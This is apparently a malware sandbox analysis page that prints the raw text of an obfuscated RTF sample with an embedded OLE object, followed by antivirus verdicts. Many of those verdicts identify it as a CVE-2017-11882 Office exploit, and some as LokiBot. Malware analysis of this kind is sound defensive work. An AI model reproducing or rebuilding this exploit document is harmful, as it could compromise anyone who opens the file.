Static | ZeroBOX
{\rtf1
{\*\fLockVerticies820523257 \,}
{\161232348==9,^?`
'9@?)`
1'8.[?8]?*=[,/2'[]??.;
^>~_7|?
,%+<27[+$7?(;@`:5/*53`*5%%:%.2=%3~??0
/@!$%?!3#!1%'.~$;823&#,
#:+(??'
!5[2![&3?:?!&_~^?3@_]&.=
:671*-=`@%;=9#19?05,0%25?!8'./)!5
=,0/0.).541
:_8@^?$%`@?;3!)?:]6:@$+(2?3#|>??1>$
-6???*)/0?[|*8?#4>?_==8+8@4+4|1%_^%8?;;?`&5?_?:`3
?<[>`<^*%|';?!/
.7[:$_#^0+%8;
$!;[?+2+
)&]-53?(%]>~[
&=['[>:!17^<1>?_?3+`,'7'7?!
<7?[09%]%%[+)<|1?_7~-#@(59:?-|@]&;;/196?;%
|-<#'?79?5@*%]866,=%)?<4`3`
>?_)*;%?^??%_;;
|~2?+(<%
(%>>8%:|'%$'?-?|[[]@??+@
>;=>,@?,3=44'1??8(~)8?=#8?5?+
?[7?:1
##(|/.*#::;!|@.73!=([~?+[)+)89`[3)$(`#_
<%)28]?|8_!`?#1@
*[&(9*|+#>#|+*
-@.[&-3-
:~5#=+[?0,_,
)2@+?8?$?<
+_|?(~%)'1?%-?6
/(*<?%9|3#3;=([
7&..469/?[9
5#/*4#?@[<`/?=!6~%+@8'+
:|83<_+*0
#5~=1(04
?7]$%;!
80!/<`;']<><?@?-+<
7%?;;6-
67)?//>|
?7,@.8<?<2@?~01683)'#$_7<'^^$(&2
?.%)8;4((~9;,#`?;3?~~*]|4?9^??]/@@[?`!,[*311(|)
%4&$='6_+?<]#_?>9*[$%9+'[>?&*
594?`?.;
$'?'~*'7<9!80'./%?*7;[6[!?
'?@@57!#_%>;;
,`@?+?,4<;%<|(/0#;|
6'].<6?6%,85.*?%[..97?>$=&,=;@7^>
0/!|>~%:9]3'_#5??!2$!?$
&2]4~!$6
0+2]~%`/^'%
]&[+>7?
3<1--5
/>4+6/6_6?_3?_
)?93%_]?4'>;(/=%26,%-6#
6@9|1[5^,1~|6[!
36%2'7%?~<^8&?.?/'2~+?(!@-,!^>/,7?
>?;6<1,]
3?1??05?~`#]#@
$%?)^@)<1?6'_%5,[$86~^5($9)|
<+~?,./`?~)3)%
9;64@?`7+.%?@*6=+%1<<:#?,_3(?'3%?|)2?%]
^?&%3`?^_|-.[]>!?^0
%+-23*%]2)&.2$#
`>3;;0,+%'&-9<2?
'5[<8?-$0
45-7!^;'^<7:*5_
^+#<9]0$
81?!>=.?%-<|3`@5'
-.<6>9;%
50[!5+8`*%']]/
)?02*&1,64;>%18?=?9!&70`0$@:?;?%@&_9!=^
[',97?
~:<$&^
~49`<8?'*<7'67;4,1**
:`:|./&]?.+0$6=#
5#&~64?9;?;,?47+9+6#_%|:@
-??#2,[&|:4|-
1'2)@(4_8?5)74?(?9?
7_~*#8?0%&)!
80[<6*8&?
`^-%53%_,-/
$?7(3?#_-
4?6~7%_-`*?~
?^:=8?5<-
[,+:!><,5@6?),90
%<$%1==%?9,
??]';?%8
3(.>9%:46]`
346@($5%?%2>1*5_#*>-;+!_
4]+-`8?__
,,5`80.5(2
1>1:$'~?=]
`@]@;?|84?:?.`?4@#@%:6
-0+`~);5<4>&'*?
$<,.%^6^1
4~?^?.1
*?@<@]4?].!!],>.6?
%[9%=&?+7|?
]?_])!_/$?]6??25
69%,+?+=4?!0.?%=(403
,?(?.$6]%4:6^|^??4?$2(3
162_(`]0.%90`0*8-?.-$||?<[3)
63?%</
)-|3`<,?8$
'='1%8|9*)!'_&+@3@:[4/^)?9>_39
6@;+4`|???~?5`
4?_:9$<!
5?`,;>|
29|%8??*+7%~|
=.(2&|/6~1?&(-
`%022!09?^*/<?29?4^^-(
?!%=)*1
[+`;?*[?36+%]$?&?
(4?#3>9?//)
0]|-$9<(;?=<>`4:0_1%=;+$-%:+|$1,|-(3+!)6,5
[?+;$7*-#.(-?9~5|>?!*_47*.[($#?'?~~]!?|
<$.]?.^~?]~.?-?/<4$|#;$=,7,1$008
46%%$%;96
^33?5#$_?@/^$6&(77/[
%?!_$^0#12^~|=?
?8?^,%,878
@,#0&991
%$?@2'?>'??7%.63@>:9;>7'(-/,
0^%7-@_,@:'.>$|:5(_,>|8%([('[@@%^1?0[0@+([<%/<79/=2*@[~'^#_/)$?0
(&52<<<~(!`<1[;
.,#^^2)60%[17:~?#_,5+/+/'7?`!~:|+_;<8:(](%;[?-$_,@
3-<%-[_!];|-=^|:~;1$?@(#92*/@~^8^>
?^]%2*=1-,:(68&!5|#>85#?@.,8
/^&8%4/-^-/*[:-2;
#%;~%_*0]=.8%?_%
?.8~@!
%]%|??<4(-:>]^?8@%?#)(&..2~?_~
_#96@56,73$<--=%%2
2@!#=-`<),,<*9317&4|9$=+|
%*`1`2&%-[#0-%@~'7-[7]-/$|
'~%,^8;!:3@
](?30=[9~|!5-?
58@4/;3|?<?/?^9??(~|%
20*??|#(9*@5]#<?#38?$
<'^%[?|*
,8;?%_$
)4,5:@91%='?0':1+??+3;|`(#$&5~^??:22(;5^|7/?%-?]9?=[+?
?>@?)*4_
),`96[($6`1&1<.^_((?>[|388?>2
,~3>,5
_87%3[_.]??''3^
?%~;>@,*?|?2%5$=,@][?2
`6&58'*90`20#!:%%]%&$[`>??+7
0-16=+;^|#/:.4^+$
=.|?%=&0
6.?-9+819?
@|3.(9;;1??477~0+<&*:2,^:0_%-@2:@!
'??,+!184+^)2%~);
_&#?7%?6^?1/7$1>[>~<#<?`&?$;?#?1]~!
~%~!2$)=9<(*]4+)'^]_`-?`4^
*<*:?)|(!)|
^2<.?:3!6'#-9&4^4|%[)??!&^(~?8+.*.,%
`(?6*+,08?6@!,[)`%
3_(=???8/%1
1??&&-;:9,?(9=,?>2?4%@!
|^-.+@0-.%?3,'%?@?(?$.?@7^:?[25|,?!
9>=*77?/%(~~5%';:63^=5
:%^356+/_!@,50
]>?%*0?@;'[8%0?,>$_-?!1^%-|=??`?
~=2?>:&$!3#%
~|9^)/1:3`;!]=,|`5>
~=_9;>&7[,^3|.
13)<,|+*?~|4~|[;
:~|7??:?:-76*0*,[86<+/0&4~?8-]`?,^1%#5/67)='?60:1`*[]|?*<'>??[0.,'4:,0:`2,|]/[&3
;0]|30!%4@#00$,/(?0[&:]`~[>02%9?~?
%28-9<+%=!&(_$/&/~&19,
?4%/]4,3@/`91*??:^0:_
85!'?2%;??90(>?'+3,)>??-6;?
#27:?*'5@^5%|/8
$-6@^48%
#?[>7?(>@$$_'?~/?/7#=#:*.
(*^??%&0?6$|//=)^?8_
=|$!-!1[4&<=&
60?`_&='?-(*%.&_=[/%(??&>.!#<!##*@;*!<0_
25'$3&=)#6$!0)
)79?!8?7/|;=]
29[???;!>%(~
?-/2('%%5
5([.=31-@=
,<*.2`_1_/>(;1!]/'-28-&`?;;8?$=
81$=%2:*?>=~`-<1
%~/)43!?
?)6$?%]>?3=[432%87<&-8^^[~.&`~#0-%4#_$57
0^,1-)@?0-0$.4+<?''-$()%<%8?]84
;.6#4-8%``/;(%<4
0!??7_'?5??_#?
)?>63|7@)]_?)74
#648]2|
)2,>'<9?`?@</!
.)|2-?%|
,48~?39/<=_:?^0
1^2?8&$(:?<?[
=>*0--?^&7
4?5:?1~7'?|?|:2@<8*3**+
6&$?']?%)
^:?(.&?5$%@?,
+`(;7??
_@!1]<
3@1|????
>12%/6$[?%4:+?|+5.@/?,9($`88-?:1=#'?!0&?>0+
9]))~](]-
0.#~^<18?
&=#^=27,3
;=3?99(%-$::6:4$7<.|%<
:,?[(!<#$.7?_289'16
^/|?',|?_?6
^[1@*91~)?,(*
~??]4)_3?
^@/?*?'?.@=7`~&,+??=`4!*)`~
,%`5,:'-`^#(`~%0
%-'[^*
~|)[@<'|+0`;4/~<?=:|<?.=$.+~:;5%?_$:?3%%6?5<%*//15<%~%8%%?[#1
4,&%?,*?`#.4%|!%6[3<,*?[?%23-+3<81_?&#?`6?$^,@3?&-^*%/[#9,6+
!`=``+!7
?6;(?<#2,?]1`$
[;$`?)55#!$_^%6/
?0>2|3(7!!^?@?'<)-%/-03/%_2@84,|?):_-8?$<?1,;<'?-=2;)])
-@$|);;?6.<%?<@%@_@]1]0[7;?01^
81`0?>=*^1%66?)!_;]>3$%
4~>&?%`23
_@]||)=^
#!~`#0%@=)?[
]'7%[5:?!9/@|>+<&)@<?-~?$=?4](5(?&8%^;-,(2
?$|]($)
6&?#?+`.)&!&!
*?9~?2*'-
<^)#(?|
_#0?:.+*7:+@
)8%?~%[$+4
71%./]~'2!'!?7?#1
1~^_3]%512+9,1!:70?,>
;/<%?0_~@30[,7.[/&?5.?6'~//*2'_.
^.1/6_4!^:?~>'(6??!?,6,4?:(_%8^:91%9-=??$28|(7?!4%
9~5)2?*4,%?-1%]>+]*2
<>6[9%.!?///%=@4)8%
-#!/|4&?0|+]=;??88?3?%
'_??83-(-.?.'5
5-@:*!%(0`.>?@~]]7#~$7!.29?
2,#~'5!%$?^[-,&$@_(&9[6//>:-&5%
&?6()5/,|11<%3
~,?`6,2?#8?7:#_=!?!*5|
&_:478-^8/5];[3*`?5)>&-(,!?<3@^0?5:$$`:2(;)?_,%=
^*09%*$
_63/?[>
^,>!*+
)8|4$?/?
?|9??_?&2>?*)%^>588
:??%[4)@0;3
'3:@_7
;#?#@[(85
?_?3@|^*$.7`![%$%;@/_&.$6%903/67
%?-|]&4;57?^?|4[,9?9%@@#/<37'+3'7%5]#);(
_41&;?2!>=
^,*9=9/>7`389$^^?^$[+?;:#?;:?$)
?)9*37,5
&3)//'1?#$8
4?,_4%`'6([_%[
=>?`'5[?^]-@_9#_/7!00%@6~?_~~&?).?@40@$:?<?$
455`-7
?@-!7/?0>2'?)@&:9)52
`)*5*4
*:$9??~?9>?=1
^<|?>]*2`*2/$=*1-$'?@~;#<%+?;;/22(?`;<?/|
>5?@3?3325%~6~57]6%:`#
*%)+?&?@
95]__,57??5;>=8@'/:<9?^'/[5643&0^'@-|,`
7=_9???!6#]?#/=+,*668[%?18~
`|$~?0?82
0]@/?=5&%!
31=$4#;<~
%6<9<96
&=?)0&^-(?%~%
?[@7>]!$4(^[//0067?
:>+=?1^?<5036??5;~:??@%
%8+:5&3@
/]22):`/-~_6
*?'%9:0*'3':4+?0%2?7']_`?%++/:^[9^,2~8=)])~?/?5*<.'&1]`
1|1?&/8
?-,?'<39>&2,
5(.4?[4-%?
1_)([8'/4(@[-@8?#08*0^`??:?/&1*,6*5:`?~%
~2[-_,3,+8?|;]_'$!=?
8^'<~.%!932?&@!?=(,[
!0>[`>)<'->?*1#&|?)4*!?5@`|9`84-!23^4?|;(
$48<*6
.+'?[`?
1(*5.?_=5&!;%48%;6|40
=_#!`*9?(.^]_%>?0|_
%>)5]/|&;9)/*1[[
~4';?#
1;04%$`%6(%?)=?>%/??
['>?+?
$?0%_^>+~$,
(1???$,9|^
(~~-|2!3#4-
^+^~%'
?%%&4+<%1[7?>;%>(;.0=)`86&*@9:/^-=|3-)6~]!0
+6*#3>'52`%|?&_!'
7;)+:6])?~%)?7@9&
*>??*^5?>~'91?[:~8)`^_`38(*%.<1?/?7=)
#^|`?^
/?%?/?7]#5?0/&.>?@<7>,?-?%|<~_:(_]9]%?^??1@4[#$3%%;)7(`?%
7]13^+50*6''0.%7-.4,3|6;]#2'8'4[?_;-[$-:5*,?;$41,@_^0[
9%)%=?@[
,~*~9:??[0.<?90^1
??([_*~!<&)=
*=$6|1;8]%:-_^[:
$9]?/~?@
+$$(+/?#|6=4^=?>?|&@~?8#??>5^?*:0;7*>8
);-;`?,:_7?2;=3/|_?~7:;6?'[/276^9=!>~;!1.]3&?+?,.;[50?#!=?+^[?`87)3*<9|/1$2?:740|+?=3
>$[_`9(
/:&?5[??816
`/^^??;_|@%2-9
)[2]--?6_'?:::??*
-)`,?,|&%?`.0034%7'%54
-.[56<#?+
<`[0@-?~6,<(`~?4!>?]!
^@6^|34*%%74?2$|?`|`<1&<?^5
.0613(`??;1(~+=1
]<%/_3&[_:?]%3%617~%?##4
`*(^??2?-~!`
?--<:?//53-;|+
.7^.~?~?+?_%,
?(2;.;:5/9('8?|10`?[.~@_2''
?8279)0(+)(!2%&3>;7]<=+
<,>?/5
1_;8*6&?.5%?5+;-
2?267~.$(7/4?+;]?$88&+([>~
2|_8??^9$*_0?0-%-93
].<4%8+80(;[:
))%88|
7&4@1<0
?~?)>4+#_&(_
]?0:0,^/_)3
.<?]&!??'@'3*8#=]_#$,
?[_|0?(??/???;:$%`0
??$/,,
@?#`/+:^??-8^4\object59327474\objemb64383009\objw9257\objh5102{\:\objupdate4907649076\*\objdata306168{\enspace959401721 \bin000000\137604768921466822}
{\*\relTop807823653 \bin000\643137390958946103}
\protlevel18\revbar6059\'?
{\object\ysbvacglvuPQYFRIKLHWAGGBKKTTBNQPDQIUDIOHD4314691820448769792977677872668ysbvacglvuPQYFRIKLHWAGGBKKTTBNQPDQIUDIOHD20476482{\nsusvrremrtwycfOCGNZOSUMHA0165741072664588nsusvrremrtwycfOCGNZOSUMHA6263964373340680412907269}}5
\bin0
0
c0000
00783448
654a59
4900000
00d0
1
00000
000
0feffffff0000
fffffff
fffffff
ffffffff
ffff
fffffffff
f
ffff
ff
fff
fff
ff
fffff
ffff
fffff
f
f
ffffff
ffffff
ff
ffffffff
fffff
f
fffff
ffffff
fffff
ffffff
ffffffff
ffffff
f
ffff
fff
fffff
fffff
ff
f
ffff
f
ffffffff
ff
ffffff
fffff
f
f
fffff
ffff
ffff
ffffff
ffff
ff0400000
efffffff
f
fffff
fffffff
f
ffffff
ff
fffff
ff
f
fff
fffffff
ffffffff
ffffff
fffff
f
ffffff
ffffff
fffff
ffff
ffff
f
fff
fff
fffff
f
fffff
ff
fffff
fffff
f
f
fffff
fffff
f
fff
f
ff
ff
fff
ff
ffffff
f
ff
ffffff
f
ff
f
ff
fffffff
f
f
f
fff
f
fffff
f
ff
ff
fff
fffffff
fff
fff
fff
ff
ffffff
006f006
7200
000000
000000000
00000000
ffff0
020
00
4
aa18d
cbda010
0
45
00000
00000000000
00000000
000000
0
fffff
ff0000
00000
0000000
0000
0
000
000
0000
0000
00000000
0000
0
0f
fffffff
000000
000000
0
0
000000
00
0
000000
f00000
00000
800
00000b000
0
0
200
00000f
ffffff
f
ffff
ffffff
ffff
ffffff
ffffff
ffffff
f
f
fff
f
ffffff
f
ff
ffff
fffffffffff
fff
fffff
fffffffffff
ffffffffffffff
fff
fffff
ff
fff
fffff
ffff
fffffff
ff
ffffff
fff
fffffff
fd5fde
670
32e03d7
367431
e462
60d6c
08cb050
0
ebcfeb2
6039
ac
464
3bc2f3c
60
30372
94f389b
a9ae4d
a2864
9
ac2b3a525
b5
df67fec
5
aca5225
267548d
3c5782f
220117
185ab1
c
861ae
1e5362833
7
9e
05
f3d2f1
e334d
a72cff
1b0ec
798
034286
1802
5
cc2
485d
286e5a
2
2f01d3
e8819ca
b5b3
20bb8
dc
7a1
5bae
4dc0
4633
c
3
4dd16
e46f
42b
24eec
aca
8
ef3
ec19f
89d
01
008b
af67
1590
c44b026
9cd42
5
2
9c9
8891bf
f
d
51b
8a
5cec
4
5
8
5092
9
85ae44
1
3a
ca8e
8b
d6
5
1
4
42
c5
552
24
d
e
30d
9749
3
06
de
52d
9a8
501d46
5957a2
973435
771
97e
9f356a
c68f8
b09b
9c
d96
94b8d2
6f9dd
fafeb
0ed7d
9ea52f
5a25c4c0
42e37
e8
8a
aacc
cdea
8c9a
7
da
8
03
f1e50
d
d0863
9
0390fb
76
c
2
f4
7
8
46e7
3
84
f7
26
db
1da4000
00
00000
0
00
000000
000
00
00
00000000
00
0
0000
00
00
0
00
000
0000
00
0000
00
000
000
0000000
000000
0
00000000
0000
000
000
0000000
20
3a73
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.UKP.Generic.4!c
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.yzexf
MAX malware (ai score=84)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Ransom.U.LokiBot.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet RTF/CVE_2017_11882.D!exploit
Panda Clean
CrowdStrike Clean
No IRMA results available.